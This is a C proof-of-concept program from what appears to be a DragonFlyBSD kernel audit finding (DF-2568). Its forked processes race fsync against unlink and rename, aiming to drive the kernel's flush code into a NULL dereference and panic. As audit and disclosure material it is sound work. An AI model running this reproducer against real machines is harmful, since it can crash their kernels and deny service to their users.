DragonFlyBSD Kernel Audit
DF-2568 / race_flush_v5.c
← back to finding ↓ download raw
/*
 * DF-2568 — v5: focused fsync-vs-unlink race on a single file.
 *
 * Theory: fsync(file) dispatches a flush xop for the file's inode (hashes to
 * thread group based on FILE inode). unlink(file) dispatches an unlink xop via
 * the PARENT directory (hashes to thread group based on DIR inode). Different
 * groups = different threads = can run concurrently.
 *
 * The flush xop locks the file's chain. The unlink xop looks up the file's
 * chain in the parent dir and tries to lock it -> BLOCKS. When the flush hits
 * flush_core:662 (unlock chain), the unlink grabs it, calls chain_delete
 * (sets chain->parent = NULL). The flush then sees chain->parent != parent at
 * :681, returns retry=1, and the retry loop at :405 derefs NULL.
 *
 * Tight loop per worker: write+fsync+unlink+recreate.  Many workers + syncers.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <errno.h>

static volatile sig_atomic_t stop = 0;
static void on_alarm(int s){ (void)s;stop=1; }

#define BLK 8192

static void racer(int id, const char *dir, long iters)
{
    char path[512], buf[BLK];
    long i;

    memset(buf, (char)(id + 0x42), sizeof(buf));
    for (i = 0; i < iters && !stop; i++) {
        int fd, b;
        snprintf(path, sizeof(path), "%s/r%d", dir, id);
        /* create + write (dirty chains) */
        fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0666);
        if (fd < 0) {
            /* file might be being unlinked by us; retry */
            continue;
        }
        for (b = 0; b < 6; b++) {
            buf[0] = (char)(id ^ i ^ b);
            write(fd, buf, sizeof(buf));
        }
        /* fsync: dispatch flush xop for this file's inode */
        fsync(fd);
        close(fd);

        /* unlink: dispatch unlink xop via parent dir inode.
         * This races with any concurrent flush of this chain. */
        unlink(path);
    }
    _exit(0);
}

/* Syncer: global sync to flush the entire topology */
static void syncer(int id, long iters)
{
    long i;
    for (i = 0; i < iters && !stop; i++)
        sync();
    _exit(0);
}

/* Renamer: churn topology via rename (creates chain moves) */
static void renamer(int id, const char *dir, long iters)
{
    char p1[512], p2[512];
    long i;
    for (i = 0; i < iters && !stop; i++) {
        snprintf(p1, sizeof(p1), "%s/m%d_a", dir, id);
        snprintf(p2, sizeof(p2), "%s/m%d_b", dir, id);
        /* create p1 if not exists */
        int fd = open(p1, O_CREAT | O_TRUNC | O_RDWR, 0666);
        if (fd >= 0) {
            write(fd, p1, sizeof(p1));
            close(fd);
        }
        rename(p1, p2);
        /* swap back */
        rename(p2, p1);
        unlink(p1);
        unlink(p2);
    }
    _exit(0);
}

int main(int argc, char **argv)
{
    const char *dir = NULL;
    int nracers = 20, nsyncers = 6, nrenamers = 4;
    long iters = 50000000;
    int timeout = 0, opt;

    while ((opt = getopt(argc, argv, "d:r:s:R:i:t:")) != -1) {
        switch (opt) {
        case 'd': dir = optarg; break;
        case 'r': nracers = atoi(optarg); break;
        case 's': nsyncers = atoi(optarg); break;
        case 'R': nrenamers = atoi(optarg); break;
        case 'i': iters = atol(optarg); break;
        case 't': timeout = atoi(optarg); break;
        default:
            fprintf(stderr,"usage: %s -d dir [-r racers] [-s syncers] [-R renamers] [-i iters] [-t sec]\n",argv[0]);
            return 2;
        }
    }
    if (!dir) { fprintf(stderr,"%s: need -d dir\n",argv[0]); return 2; }

    fprintf(stderr,"DF-2568 v5: dir=%s racers=%d syncers=%d renamers=%d iters=%ld timeout=%d\n",
            dir, nracers, nsyncers, nrenamers, iters, timeout);

    signal(SIGALRM, on_alarm);
    if (timeout > 0) alarm((unsigned)timeout);

    int nkids = nracers + nsyncers + nrenamers;
    pid_t *kids = calloc(nkids, sizeof(pid_t));
    if (!kids) { perror("calloc"); return 1; }
    int k, ki = 0;

    for (k = 0; k < nracers; k++) {
        pid_t p = fork();
        if (p < 0) { perror("fork"); return 1; }
        if (p == 0) racer(k, dir, iters);
        kids[ki++] = p;
    }
    for (k = 0; k < nsyncers; k++) {
        pid_t p = fork();
        if (p < 0) { perror("fork"); return 1; }
        if (p == 0) syncer(k, iters);
        kids[ki++] = p;
    }
    for (k = 0; k < nrenamers; k++) {
        pid_t p = fork();
        if (p < 0) { perror("fork"); return 1; }
        if (p == 0) renamer(k, dir, iters);
        kids[ki++] = p;
    }

    for (k = 0; k < nkids; k++)
        if (kids[k] > 0) waitpid(kids[k], NULL, 0);
    fprintf(stderr, "DF-2568 v5: done (no panic)\n");
    return 0;
}